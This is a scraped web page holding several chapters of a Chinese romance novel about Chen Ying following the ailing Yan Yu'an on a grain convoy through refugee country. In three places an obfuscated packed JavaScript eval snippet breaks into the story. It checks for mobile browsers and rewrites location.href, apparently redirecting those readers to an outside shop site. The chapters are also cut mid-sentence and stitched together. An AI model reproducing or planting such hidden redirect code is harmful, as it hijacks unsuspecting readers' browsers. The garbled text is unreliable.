这一刻,一种难以言喻的悲痛与愤恨在他心头翻腾,他抱着崩溃得几欲炸裂的脑袋,望向那片火海,撕心裂肺地呼吼,“阿英!” 凄厉的呼喊声划破夜空,木箱中,陈英浑身一颤,陡然睁开眼,脸上还残留着惊恐神色,她抚着胸口慢慢喘息,许久才回过神来。 她推开木箱盖,将车帘掀开一条缝隙,借着月光看清外头驻扎的运粮营帐。原来她已经追上言昱安了,只是不知他此刻人在哪里。 长长吐出一口气,她举起衣袖拭了下脖颈间的汗水,歪着身子靠坐在木箱中。 初秋的夜风带着如水的凉意,风吹帘动,一束月光落在她苍白的脸上,她的眼神呆滞无光,回想起方才那个梦境,眼泪竟无声地滑落下来。 倘若那些梦都是真的,他的陨落,她的殉情,这一切的源头便都是从这里开始。老天垂怜,又给了她一次机会,这一回绝不能让悲剧重演。 陈英把目光转向车窗外,望向漫天闪烁的星子,目不转睛地看了很久,她才合上眼,仰面躺在木箱中,静静等待时间的流逝。 现在还不能去找他,再等等,等到走的足够远,他不能轻易将她赶回京城才行。 她就这样迷迷糊糊睡着了,醒来时,天光已经大亮,空气中飘着似有若无的米粥香,渐渐的,香气越来越浓。 肚子开始咕咕直叫,陈英摸了摸扁扁的包袱,发现糕点已经吃完了,她眉头纠结了会儿。这样下去肯定是不行,后面山遥路远,她不能一直忍饥挨饿。 想了想,她从木箱中爬出来,趁着四周无人看守,悄悄跳下了马车。 大大小小的营帐如星罗棋布,每个营帐前都架着一口吊锅,锅上正冒着热腾腾的白气,米粥的香味正是从那里飘来。几个伙头军拿着小臂粗的铁勺,走到每一个吊锅前,正挨个搅动着米粥。 脚步声响起,一个粗哑的中年男子声音传来,“你小子又是从哪儿冒出来的?” 陈英背脊一僵,定了定神,压着嗓子回道,“小的是武安侯府的下人,昨日刚赶过来替我家世子爷送行李箱笼的,昨晚不小心在马车上睡着了。” 中年男子穿着甲胄,黝黑的脸上两只铜铃般的眼睛明亮又锐利,他上下打量着陈英。只觉得这样文弱清秀的下人,肩不能挑,背不能驼的,瞧着不像是流民懒汉,也只能是达官贵人的家奴,当下便也没起疑,派人领着陈英去了一处营帐。 营帐内,都是和她一样穿着便服的青壮汉,陈英认出有几个是武安侯府的下人,好在他们平日多在外院行走,所以并未认出她。 这时,一个矮胖的伙头军端着一锅正冒热气的米粥进来,众人拿着碗全围拢了上去。陈英悄悄咽了下口水,也端着碗等在一旁,直到伙头军用铁勺挨个给他们盛完粥,众人才端着碗三三两两散开去。 陈英找了个角落,正捧着碗喝粥,忽然感觉面前晃过一个人影,还没等她看清进来的人,耳边就传来一个无比熟悉的声音,“待会儿你们几个去把软皮子取来,都铺在世子爷的马车上。” 众人点头应是,那人吩咐完差事就走了。陈英暗自松了口气,还好平康没注意到她,以后还是小心避着点为好。 吃完粥后,几个人便朝外走去,陈英不想叫他们觉察出不同,只得跟着过去。每人从装箱笼的马车上取出一卷羊羔皮垫子,然后朝着一辆宽大的马车走去。 陈英的面色有些紧张,磨磨蹭蹭着,脚步也不自觉放缓,结果自己竟是最后一个上马车铺垫子的。 车厢内空间很足,舒适雅致,最里侧摆放着榻几,上面是叠放整齐的锦被,车壁另一侧摆着黄梨木案几,案上有条不紊地堆叠着书册和文房四宝,窗口的位置放着羊羔皮坐垫,墨绿色缠枝纹的车帘被束起,透过窗能看见灿若披霞的漫山红叶和林间农舍飘出的袅袅炊烟。 窗外风光迤逦,幽静安逸,马车内,朴素无华,清雅绝尘。只是此刻,整个车厢都铺上了羊羔皮垫,榻旁甚至还有一个炭炉。 现在正值夏末秋初,暑热未消,他就已经用上炭炉了么?陈英忽然担忧起来,又想到那个噩梦,心里越发不是滋味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289358|152082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言昱安的身子一向不好,从前在府里尚有御医良药,可现在路途奔波,一旦缺医少药,他的身子可经受得住? 想着,她手里的动作就慢了下来,面上虽然没什么表情,手却是一遍遍仔细压实垫着羊羔皮的床褥。 陈英从马车上下来时,意外发现言昱安正朝这边过来,她还没来得及走远,就听见一阵压抑的低咳声。 她忍住没有回头,可听见那咳嗽声,还是忍不住心疼起来。 这才赶了几天路,怎么就咳成这个样子? 心中焦急,走路就有些心不在焉,一不留神就撞到支起吊锅的木架子,顿时传出一阵噼里啪啦的声响,铁锅砸到地上又骨碌碌乱滚。 她龇牙咧嘴地揉了揉被撞疼的胳膊,又赶忙弯腰去捡地上的铁锅,刚一抬头,浑身就僵住了。 这一刻,无比的安静。 突然一个沉冷的声音响起,这声音分外熟悉,“你怎么会在这里?” 言昱安的声音在这一刻,因为惊愕而冷漠至极。 陈英没有回话,她红了耳尖,低下头不敢去看他。 言昱安沉着脸,拉住她的手腕就朝马车走去,身后的平康一脸错愕地张了张嘴,又急忙看了下四周,幸好没人注意到这里。 上了马车,陈英看了眼坐在榻几上的言昱安,只见他俊美无俦的面容苍白了许多,也消瘦了许多,又不禁想起噩梦中他形如枯槁的模样,眼眶里一下子就涌出了泪水。 她用手背胡乱擦了下眼睛,又从怀中取出那支桃木簪,递到他面前,“这簪子是不是你亲手刻的?” 言昱安有一瞬间怔住,在看到她通红的双眼,心中一软,朝她点了点头。 “你为什么不亲自送给我?”陈英握着木簪的手微微颤抖,声音带着浓重哭腔,语气也带着幽怨,“为什么要去云州,为什么要不告而别?” 一时间心中翻涌出说不清的委屈,陈英难以自抑地痛哭着,哭得鼻尖通红,泪如雨下。 “押送粮草一日不可耽搁,现在你也见过了,待会儿让平康送你回去。”言昱安语气有些疏冷,却从怀中取出一块帕子,温柔地替她擦去眼泪。 陈英缓缓抬起头,对上他深潭般沉静的双眼。 她发现眼前这个男人突然变得有些遥远,明明方才他还承认给她亲手雕刻过木簪,可转眼间,陈英却发觉,他还是天边那朵飘忽不定的云彩,而她不过是道旁一粒卑微渺小的尘埃。 倘若不是有那预知未来的梦境,她一定不会相信,那样疏冷的眼眸里竟然也暗藏着与她同样的情动。 一时间满腹的委屈和心酸,令得她只想冲破隔绝二人的壁垒,此刻什么都不去想了,就这样纵身一扑,投入他的怀抱中。 她紧紧搂住他的腰,一边哽咽着,“求你,带我一起走吧。” 顿了顿,她又呜咽着哭出声,扬起脸贴在他的脖颈间蹭了蹭,用柔肠百转的嗓音,贴在他耳边低声说,“我再也不要和你分开,我再也不要和你分开。” 无尽的依恋,无尽的酸楚,在这一刻统统化作一句话,“我再也不要和你分开。” 泪眼迷蒙的陈英,一直在重复这句话,就像是心底最深的执念冲破了禁忌,终于得见天日。原来,不知不觉中,自己早已对他情根深种。 这时,言昱安伸出手,轻轻抚去她眼尾的泪水,长长地叹出一口气。 那一声叹息里,包含着太多的无奈,太多的苦涩。他那并不宽阔的怀抱,竟是她两世求而不得,痴恋一生的温暖港湾。 陈英眼中的热泪不断涌出,怎么擦都擦不尽。她把脸埋在他的颈间,闻着他身上熟悉的草药香,泣不成声,“求求你,求求你……” 一声又一声,连绵不断。 33. 第 33 章 平康这趟回京,不止带来这些消息,他还将官邸派发给言昱安的书信一并带来。 言昱安忙着逐一阅览,时而沉眉深思,时而提笔书写着什么,根本无暇顾及马车中正心事重重的陈英。 可越是这样的沉默,陈英心中郁结更甚,她觉得自己有些看不懂这个男人,究竟在他心中什么才是最重要的呢? 他可以不在乎将来娶的妻子是谁,也可以不在乎生死远赴云州,甚至他心里明明有她,却宁可为她挑选夫婿让她另嫁他人,也不肯对她流露出一丝情意。 这样的他,忽然让陈英觉得陌生,他永远孤高渺远,克己守礼,仿佛与这三千俗世隔着一道不可逾越的天堑。 想到这,她的心里就有些难受,如果不是预知未来,得知他会陨落,或许此刻的自己正在闺中绣着嫁衣,准备另嫁他人。 或许在自己成亲的那一刻,那些曾经的闺中痴梦,也将化作烟尘随风而去。 那时候的她,会成为一个与夫婿举案齐眉的深闺妇人吧。从此会将他彻底忘记,从此不敢抬头,不敢再看一眼那天边的明月。 低下头来,陈英眼睫轻颤,把眼底翻涌的情绪悄悄掩下。 “阿英,自今日起你不得再下马车。” 言昱安将书信放进信匣里,忽然抬眸去看她。 他的眸色极淡,此刻更是澄澈清明,看不出他在想什么,“这一程,远比我预料的更艰险,或许当初就不该让你同行。” “为什么?” 陈英一愣,抬起头,不解地看向他。接着她便一脸倔强,扁了扁嘴,“我不管,前面是刀山还是火海,你都不许反悔。就算是后悔,你也不能把我送回去。” 言昱安牵唇一笑,的确是意料中的反应,他真是一点也不意外啊。明知不该将她带在身边,却还是一时心软。 会后悔么?他自己也不确定。 人生渺渺,所求不过心安二字。若能与她这般朝夕共处一程,想来此生也算知足了。 她是那般鲜活且蓬勃,本不该囿于深宅后院中,她应该自由行走于天地间,不必低眉顺目,不用畏首畏尾,高兴的时候可以开怀大笑,生气的时候可以任性甩脸子,发脾气。 想着,他落在陈英身上的视线越发温柔,面上虽没有什么表情,声音却是平缓温和,“越往北走,危险便越多一分,你若听话,我也能少分点心。” “你是在担心我的安危么?” 陈英一瞬不瞬地盯着他,心里更多的是紧张和忐忑,她也说不清到底是为什么。 “你姑姑将你托付于我,我自当护你平安。” “原来是受人之托啊。” 陈英扯出个惨淡的笑容,说不清是不是失望。顿了顿,她又极认真地看向他,语调低缓,似在喃喃自语,“说不定,这一路会是我护你平安。” “嗯,那样更好。”言昱安垂眸又翻了页书,随意应了声,至于有没有当真就不得而知了。 “你以后会娶江锦舒吗?” 看着他目光一滞,露出微诧的表情,陈英忽然绷紧身子,似是鼓足勇气,迎上他的目光,“你喜欢她吗?还是你……” 她的话还没说完,这时平康在外面喊道,“世子爷,孙副尉过来了。” 达达的马蹄声中,一个身穿甲胄的武官策着马过来。 言昱安掀开车帘,沉声问,“何事?” “禀大人,方才探子来报,前方约三十里地有流民聚集,数量暂时还未探明,不过可以断定是从叶城方向过来的。” 孙承光又驱马凑近了些,待看清马车中还有陈英,他目光犹豫了下,然后继续说,“恐生变故,咱们是否考虑改道而行?” 在这种情况下,为安全起见多半是要改道的,可难就难在,前方官道外便只剩下林间岔道,不光绕远不说,山林中地势复杂,潜藏的危险更是难以预料。且不管是如何选择,都很难彻底避开风险。 言昱安思量了会儿,对马车外的孙承光说道,“不必改道,按照原定路线即可。” “是。” 等到孙承光策马离开后,陈英看向面色沉肃的言昱安,忍不住问道,“那些流民也不过流离失所的普通百姓,遇到他们会有什么麻烦吗?” 言昱安的目光朝她轻轻一瞥,见她神情认真,便索性合上书册。 他抬眸望着车窗外马蹄卷起的烟尘,幽幽开口道,“仓廪实而知礼节,衣食足而知荣辱。你口中的普通百姓在流离失所后,便已经不能算是百姓了。” 言昱安目光又扫向窗外长长的运粮车队列,眉眼沉凝,“他们会为了果腹,为了活下去,甚至会不畏凶险肆虐横行。若是遇上,但愿能震慑住他们。同是大邺子民,本不该刀剑相向。” 说罢,他依旧垂眸继续看书。 在车轮的滚滚声中,言昱安听到车厢角落里,传来一个悲悯的叹息声。 “他们已经失去家园,甚至亲人,但依然坚强的活着,难道老天就不能给他们留一条活路么?” 说到这里,陈英朝言昱安瞟了瞟。 她看到的却是眼神凝重,薄唇紧抿的言昱安。 在马车中简单用过饭食后,陈英歪着头在榻几上小憩。 时间在一点一点流逝,慢慢的,陈英感觉到车速在减慢,后来竟开始有些颠簸。 因为押运粮草的车辆沉重,使得一天只能走上三四十里路。很快在日暮时分,路上就断断续续出现一些流民。 这些衣衫褴褛的流民成群结队的往南方赶去,在与北上的运粮车辆相遇时,一个个呆滞的目光,似是陡然被点亮。 他们携老扶幼,远远的就站在道路中央,不肯退避,直到孙副尉携着护卫军纷纷拔刀怒喝着,他们才慢悠悠地退散到道路两侧,死死盯着运粮车一辆辆从眼前驶过。 这些事,马车中的陈英并不知道。 等到运粮车队行至太阳西沉时,运粮队便在一处地势开阔平坦的空地上停歇。这一回,并没有扎营,护卫们都围在装载粮草的马车旁,轮流值守。 原本陈英坐在马车上,偶尔能趁着马车停歇,可以下来走动走动,舒展一下筋骨。可方才她已经试探过多次,表示想要下车活动的意思,都被言昱安一个严厉的眼神怼了回去。 可现在,她顶着言昱安沉肃的目光,红着脸又小心翼翼开口,“我想出去方便一下。” “马车内有恭桶。” 说完,他也觉出不妥,又补了句,“我会下车守在外面。” 他一脸认真,不像是开玩笑。 陈英听着却觉得无比尴尬,红着脸直摇头,声音也有些磕巴,“不不不,我很快的,外面更深露重,不用劳你下车。” 说完也不等人反应,一掀帘子便跳下马车,直往远处奔去。 言昱安撩开车帘,朝外头的平康看了眼,后者立即心领神会,领着两个护卫,隔着一段距离,朝陈英的方向跟了过去。 秋月高悬,泛着冷白的光晕,四周不见一颗星子,想来那漫天的星斗,皆被隐匿于月辉之下了。 四野寂静,只有秋虫低鸣。 陈英在草丛中方便完,起身正要往回走,就听见黑压压的一片阴影里,传来细微的响动声。 黑暗中,她瞪大双眼,静默着聆听,突然她屏住呼吸,一动不动。 那些缓慢移动的黑影竟然是人,他们数量之众,仿若黑云从四面围拢过来,紧接着,她发现他们的目标是运粮车。那些人偷偷靠近运粮车,很快便传出搬运东西的的声音。 现在若是大声呼喊,只怕会暴露自己,让自己深陷险境。可若不示警,只会将大家陷于被动。 她心思如电,一咬牙,蹲下身开始学猫叫,“喵呜,喵呜……” 叫声由小变大,由缓满变得急促,连叫了几声,也没被那些人觉察出异样,她便越发壮着胆子,叫声开始变得凄厉,一声比一声尖锐拉长。 突然,车队中隐隐有低骂声传来,饶是众人睡得深沉,这时也被她尖利的嗓音惊醒过来。一时间,到处都是窸窸窣窣的响动声。 蓦地,一个粗重的声音惊呼出来,“谁?什么人在那里?” 随着这一声惊呼传出,火把顿时逐一点亮,接着便是刷刷刷,兵刃出鞘的声音。 就在陈英准备再次呼喊示警时,突然一只手臂从后背伸过来,紧紧捂住她的嘴。 陈英吓得浑身一颤,正要奋力挣扎时,耳边就传来那人压低的声音,“姑娘,是我。” 陈英顿时泄力,待对方松开手,她才转过头看清来人竟是平康。 这时平康又朝另外两名护卫使了眼色,三人成合围之势,将陈英护在中间。 “世子爷不放心姑娘,便让小的跟过来。眼下这个情况,咱们还是不要轻举妄动。” 平康快速解释完,又朝远处黑沉沉的马车望去,低声道,“世子爷身边守卫森严,堪比铜墙铁壁,姑娘不必担心。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他威严的,清朗的声音打破了平静,也令得在场所有人呼吸一窒,许久才回过神来。 那些惊魂未定的流民,在听明白这话中含义后,他们纷纷扔下手中的粮食,匍匐在地上,连声哀求。 “求诸位官爷行行好,快赐给我们些粮食吧,不然我们就真活不成了。” “是啊,我们只想活命,这才逼不得已啊。” 这些流民原本也是老实巴交的贫苦人,若不是走投无路,断不敢冒着杀头大罪偷盗军需粮食。 紧接着,便是无数的乞求声,声音越来越多,隐隐中,竟传出了低低的哭泣声。那悲戚的哭声,越来越多,在这寂寥的夜空里飘荡着,久久不绝。 孙承光收刀回鞘,凑到车帘旁,低声问道,“大人,当真要给他们粮食?” 言昱安抬手掀开车帘,目光从那些枯瘦如柴的流民身上逡巡而过,心中便有了成算,而后他看向孙承光,沉声道,“架锅起灶,先给他们分一碗热粥。” “是。” “打伤的那个,别忘了让军医去看看。” “是。” 孙承光手底下的将士,皆是训练有素,纵然遭到流民夜袭,他们也不会轻易要人性命。其实早在两相对峙时,他们便已收敛了杀心。只因他们对上的,是那一个个瘦骨伶仃的老弱病残。 因此,也只是恫吓几句,抓了个看着身壮些的男子,扯脱臼一只手臂而已。 很快伙头军开始忙碌起来,在无数双饥渴的眼睛注视下,终于,在熊熊火焰不断舔舐着的铁锅里,飘散出一阵阵浓郁的,令人垂涎欲滴的米香。 流民们纷纷围坐在篝火前,小心翼翼地捧着热腾腾的米粥,生怕洒出一粒米。他们将碗贴在唇边,呼哧呼哧用力吹散热气,一边狼吞虎咽地吃着。 陈英在平康等人的保护下,穿过重重铁甲护卫,终于回到马车中。 她有些紧张地缩在角落里,后背贴着车壁,此刻脑海中,仍不断闪现着方才惊险景象,她惨白着脸,偷偷打量起书案前正面沉如水的男子。 这时,车帘外传来一个低低的声音,“大人,粮草辎重已全部清点完毕,无一错漏。只是,这些流民该如何处置?” “给他们每人分一斗米,叫他们散去吧。” “是。” 这一夜注定无比漫长,马车中,言昱安盯着桌案上的地形图,沉眉不语,接着,他又一连写了几封信,连夜便派人送出去。 当红彤彤的太阳,从东面再次升起时,押送粮草的车队终于整装待发,不久后又继续行驶在官道上。 可是没过多久,一阵急促的马蹄声从队尾方向传来,不一会儿,马车外便传来孙承光粗野的怒喝声,“可恶,那些流民竟然又追上来了!” 34. 第 34 章 孙承光调转马头,朝队尾又看了一眼,抓着缰绳的手臂青筋暴凸,心底腾起的火气险些快压制不住。 这些刁民,忒地可恨!昨夜言大人心慈放他们一马,还给他们施粥送米,这些流民竟如此不知好歹,简直该杀! 好在那些流民在距离队尾约二十丈时,便不再追赶,而是不紧不慢地跟在后头。孙承光握着腰间佩刀的手一松,立刻传令下去,让护卫加强戒备。 行走了十几里之后,前方又出现了大批流民。 押运粮草的护卫们个个挺直脊背,杀气腾腾地怒目盯视过去,那些浑身散发恶臭的流民,纷纷面露惶恐,退散到道路两侧,望着长长的车队缓缓离去。 就在众人以为可以松口气时,孙承光再一扭头,看到队尾陡然增加的大批流民,脸色瞬间一变。 他立即夹紧马腹,行至言昱安的马车旁,沉声道,“言大人,尾随的流民越来越多,卑职目测已逾百人之众。” 马车内,陈英一惊,下意识掀开车帘朝外望去,又听见孙承光低声道,“依卑职看,那些流民正似饿狼盯食,只等趁我们不备再行偷袭。不若趁现在,将他们杀一儆百立刻驱散如何?” 言昱安手指轻轻扣着案几,视线落在那张地形图上,沉吟了会儿,忽然问道,“距离叶城还有多远?” 孙承光一愣,很快答道,“日落前应该能入城。” “那便不必理会他们。” 言昱安眼神毫无波澜,抬眸看向孙承光,沉肃的脸色瞬间便让后者戾气收敛,恭声应是。 车队继续前行,接下来的路程中,又遇到了两次流民,望着队尾聚集越来越多的流民,众护卫压在佩刀上的手臂肌肉贲张,手心更是一片湿汗。 马车内,陈英捧着块糕饼一边吃着,忍不住问道,“那些流民是从叶城逃出来的,他们还会跟着我们回到叶城吗?” 言昱安在案几前放下文书,抬手揉了揉眉心。估摸着昨夜发出的信函皆已抵达,倘若料想不错,此时叶城中势必已有一番动静。 “回到叶城也好。” 总比流民聚众作乱,落草为寇要好,但这话并不适合跟她说。言昱安伸手将巾帕递了过去,眸光清淡,举止从容,颇有些闲雅悠然的气度。 陈英下意识接过,擦了擦嘴角的饼渣,只觉得巾帕轻柔丝滑,还带着淡淡的熟悉的甘松香,忽然间心神一晃,垂眸不语。 “怎么?你现在知道害怕了?”看着她微变的脸色,言昱安嘴角弯起一丝笑容,眸光温柔地看向她。 “我才没有。” 陈英红着脸,避开他的视线,就听得一声清越的低笑传来,接着便是他低沉的轻咳声,瞬间只觉心头一紧。 下意识伸出手,将巾帕递到他唇边,还未待她觉出不妥,她的手已被他按在了唇上。 掌心传来温热的气息,透过柔软的巾帕源源不断涌进她的掌心里,一呼一吸,带来绵长的微微麻痒的感觉,她的手止不住的颤抖,一颗心越发狂跳不止。 陈英浑身汗毛直起,静了几息,等到言昱安呼吸平稳后,她才猛地收回手。 身子立刻往后缩,直到后背紧贴车壁,她才悄悄缓了口气,红着脸低下头,视线刚落在手里的巾帕上,就听见他沉闷的喘息声,“方才失礼了。” 一时间,尴尬的气氛这才散去。 缓了缓神,她便坐直身子,微微吐了口气,伸直胳膊,又将巾帕递还过去。 就在言昱安接过帕子放回袖袋时,她正巧瞥了一眼,迅速低下头,长睫轻颤,眸光莹亮似含泪光。 默了会儿,她贝齿轻咬着唇瓣,忽然抬起头,“你既然不喜欢我送的荷包,为何还要随身携带?” “你如何知道我不喜欢?” “你怎么可能会喜欢?”她忽然失笑起来,湿亮的眼眸微微弯起,如星辰璀璨,唇边漾起浅浅梨涡,娇媚动人尤不自知。 “你是知道的,我一向不擅女红,为了给你绣荷包,我这双手被针扎了多少回,可仍是绣不好。秋雁见了都不忍心非要替我绣,我还是坚持亲手绣完它,可等我将荷包送到你面前时,你却连一眼都不肯多看。” 若不是那日弄丢银子,她也不会做这样的傻事。说来也是巧啊,那支湖笔倒真跟言昱安有缘,竟然兜兜转转还是落入他手中,只不过不是由她送罢了。 足可见这冥冥之中,自有天意。而这天意便是,她无论如何都入不得他的眼吧。 “以后,不要再做女红了。”言昱安忽然说。 许是刚刚咳嗽过,他的声音有些沉哑。他屈起一只手臂,手肘撑在案几上,骨节均匀的手指支起额角,说话的时候,总有一股苍凉而怅然的情绪在里头。 可此时,他深茶色的眸光里倒映着她清浅的身影,竟有种说不出的缱绻温柔。 陈英想自己定是痴傻了,竟然从言昱安的眼中,窥见到那种心疼而怜惜的神情。 她只是痴痴的笑着,眸光一转,望向车窗外飞掠而过的白云青山,葳蕤草木,忽然便觉愁绪尽散,心境明亮起来。 这一程回到云州,若是能找到阿爹和阿兄,她便不想再跟他回京城了。只要言昱安平安离开云州,她的心便也能放下了吧? 既然这一程注定是最后与他共度的时光,那由她任性一点又有何妨?她愣了会儿神,回想起往日在侯府被下人耻笑,处处谨小慎微的日子,鼻尖又是一酸。 深吸口气,陈英的视线落在窗外一片虚空中,“若是在云州找到我父兄,我便不跟你回京城了。” 低声呢喃着,不知是说给他听,还是说给自己听,“我要陪在阿爹身边,我要给他亲手做饭食,我要像幼时那样,同阿兄比一比拳脚。我也会像邻家的阿姐那样,被家人疼爱着,待过几年,再嫁个敦厚心仪的男子,即便是粗茶淡饭,也会甘之如饴。” 她用手背擦去脸上的泪水,然后回转过头,对言昱安露出一个犹带泪痕的笑容,“你说,老天爷会不会嫌我太贪心。” 没有幽怨自苦,也没有悲痛伤怀,她只是平静的陈述着,甚至是带着点期盼的笑容。可是她眼底的怅惘与迷茫,恍若深浓不化的雾霭,又似巨大的漩涡要将人吞没。 言昱安覆在膝上的手渐渐收紧,指尖泛白,他沉默地看着陈英,呼吸都觉得有些隐隐生疼。 好半晌,他忽然抬起手,那只手缓缓托起陈英清艳的脸,微凉的指腹一点一点擦去她脸上的泪痕,像是对待这世间唯一的珍宝,眉眼间满是专注的温柔。 许是压抑得太久,此刻她又沦陷在言昱安温柔的怜悯中,她借着泪意,哭得越发汹涌,过了好半晌,才深吸口气,断断续续说着,“我好想阿爹,好想阿兄……他们一定也在等我回家……” “阿英,莫哭了。”言昱安嗓音艰涩沉哑,却温柔地将人按在怀中,用帕子一点点替她擦去眼泪。 陈英也不明白自己为什么会哭得这么凶,原本刚才还好好的吃着糕饼,怎么忽然间就这样了。 那些压在心底的委屈,就只因窥见他袖袋中的荷包,瞬间就不可遏制的发泄出来了。 言昱安轻叹口气,也没有说话,只是将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言昱安虽无刑官酷吏的狠厉,可此刻还是忍不住动怒,“若非真有匪患,光是赈灾不力这项,就够他们掉脑袋。” 他将茶盏捏在指尖转了转,随后搁在案几上,嘱咐陈英,“外面并不安稳,今夜要委屈你在马车中就寝,不可再擅自下车。” “我知道了。”陈英乖乖点头。 她眸光清亮,肌肤莹白如雪,清艳的小脸透着一种纯质的青涩。也才是个刚及笄的小姑娘,担忧的心思都写在脸上。她身上虽有些拳脚功夫,可毕竟是个姑娘家,若遇上个练家子根本毫无招架之力。 车轮滚滚中,马车里却是一静,时光也仿佛在这一刻徘徊不散,只有车帘在不停翻卷着。 言昱安的心里忽然就沉了几分,一脸凝重的看向她,“我身边的护卫都可以一当十,我若有不测,他们会将你平安护送回京。” “不,你不会有事的,我会寸步不离地保护你。”陈英双手撑在榻几上,身子往前一倾,险些就要撞到面前的男子。 她看言昱安下颌紧绷着,也知道自己这话毫无说服力,这才找补了句,“若是真遇到危险,我也要和你在一起,哪儿也不去。” 言昱安盯着她的脸,默了会儿,突然抬手托起陈英的下巴。他眼神幽沉,指尖却是极轻柔又极缓慢的,在她的唇瓣上辗转流连。 这一刻,陡然增近的距离让彼此呼吸可闻,空气中涌动着一丝似有若无的甘松香。陈英感觉呼吸有些加重,下意识便想往后躲,却被人一把揽进了怀里。 抱得越来越紧。 39. 第 39 章 日后在回忆起这件事情,别的什么已经印象不深,她唯独记住了那一吻,还有言昱安离去前那句话,叫她将这一切都忘掉。而她也真如他希望的那样,试着去忘却前尘过往,不再对言昱安抱着不切实际的痴念。 陈英脸上的伤养了几日才好,等脸上红肿印全部消退才肯走出屋子,在院中练起拳脚功夫。 谁知道赶巧,碰见平康领着孙承光进了院子。 平康这些天忙得几乎没合过眼,谁能想到这太守府竟是个龙潭虎穴,好在世子爷早有提防,暗中收集吴逢山勾结匪寇的罪证。昨日更是在酒楼设宴,将吴逢山及其党羽统统一网打尽。一招釜底抽薪,雷厉风行,甚至都没有惊扰到酒楼外过路的百姓。 这番兵不血刃,就将盘踞叶城十多年的贪官污吏统统绳之于法,也不枉费世子爷这些天夜以继日的谋划布局。只是世子爷原就身子孱弱,如今把自己累病了都还不顾惜身子。 平康此刻拉住孙承光的胳膊,认真交代,“待会儿见了世子爷,还请孙副尉长话短说,切莫耽搁太久。世子爷这几日费力劳神犯了寒症,今日已是强撑着起榻下地了。” 孙承光脑中立刻浮现出昨日在酒楼看见的场景,锦绣堆叠,灯火璀璨下,那人明明就是个手无缚鸡之力的清贵公子哥模样,偏却有种胸有丘壑的沉稳与自信,就连他这个上阵杀过敌的武将都不自觉矮了几分气势。 即便是拖着那般病弱的身子,言昱安周身威严的沉稳气度,堪堪让他觉得像是阵前号令三军的将帅。这样惊才绝艳的人物竟然是个病秧子,实在是可惜。 他微一颔首,对着平康说,“可曾请大夫瞧过?” “世子爷自小多病,早已久病成医。早先离京时就已经备好药带上了,只是这些天日夜劳心不得歇息,所以病情才越发见重。”平康立即解释,又叹道,“世子爷就这么硬撑着,一点也不顾惜自己身子……” 说着,他看见庭院中正在练拳的陈英时停下脚步,眼睛一亮,迅速提步朝她走去,又念及她此刻男扮女装的身份,只含糊着说,“你身子可大好了?这几日世子爷忙着处理些事,虽抽不开身过来,但他每日都有问起你。” 陈英原就没在意这些,现在经他这么一说,反倒不自在起来,“我已经没事了,他既然有事要忙,又何必记挂我。” 平康自然不知道那晚屋里发生什么,只晓得世子爷出来后脸色就有些不好,他只当是英姑娘受伤严重,世子爷是心疼她,哪晓得之后几天,世子爷一次都没去探望过陈英,只吩咐他加强宅院四周守卫,又嘱咐饮食上要合着英姑娘的口味。 明明对英姑娘关心却又不肯去看望,实在叫人有些费解,“你如今身子也大好了,可要去看看世子爷?这几日世子爷都没好好吃过一顿饭,我是怎么劝都没用。” 说着他突然看向陈英,咧嘴一笑,“世子爷若是见到你,说不准病也能好得快些。” 陈英一愣,这些天她把自己关在屋里,自然不晓得外面发生了什么。乍然听说他病倒了,缠绕心头的那个噩梦,又不自觉浮现在脑海中。 但她又想到那晚言昱安对她说过的话,不由低头沉默下来。 这样的反应倒是叫平康像是敲了一面哑鼓,好半晌都摸不清状况。 站在一旁的孙承光在二人说话的时候,一直不动声色地打量对面的陈英。 这一路他护送粮草,虽然知道言昱安的马车上有个贴身小厮,一路上两人同车同食,几乎算得上形影不离,但到底是言大人的私事,跟他毫无干系,也就没有太放心上。 现在细瞧,只觉得这小厮柳眉杏眼,下巴尖尖的,低头时仿若四月的垂丝海棠,静默垂首,美而不自知。 也难怪言昱安会不顾世俗纲常,为之断袖。 想着那日言昱安抱着这小厮进府的神情,不是以往指挥若定的沉稳,而是险失至宝的心焦含怒。同样身为男子,他自然能看出言昱安对这小厮怕是动了真心。一想到言昱安那般神仙人物,竟被这么个任性妄为,以色惑主的小白脸玷污了名声,莫名地心中烦躁起来。 思及此,手掌无声收拢成拳,他走上前双手抱胸,扯了下嘴角看向陈英,“方才瞧你在练拳,尽是些中看不中用的花拳绣腿,是要为你主子助兴时好舞上一曲?” 这话来得突然,任谁都能听出挑衅的意思。平康赶忙笑着打圆场,“孙副尉真是会说笑,阿英的功夫可是我们世子爷手把手教出来的,哪里是花拳绣腿。” 孙承光轻蔑地嗤笑一声,就差把不信二字写在脸上。陈英抬头朝他狠狠瞪过去,“是不是花拳绣腿,咱们拳头底下见真章。” 说完她径直走到庭院中间,扬起尖尖的下巴,冷眼看向孙承光。 孙承光抚了抚下巴,瞧着这小子细胳膊细腿跟个蚂蚱似的,怕是一只手都能将他捏圆搓扁了。 望着陈英一脸倔强不屈服的样子,他也动了教训她的心思,他眯了眯眼,“你小子可别后悔。” 说完也大步走过去,两人立刻便交上手。 过手几招,很快孙承光就意识到,这个小白脸还是有几分真功夫的。最后竟然逼得他不得不使出全力,却仍是擒拿不住陈英,那毫无半点拖泥带水的精妙招式,竟是万分适合实战时用,也根本不是什么花拳绣腿。 原本只想三两招将人治得服服帖帖,结果竟是越过招,越激起胜负欲。 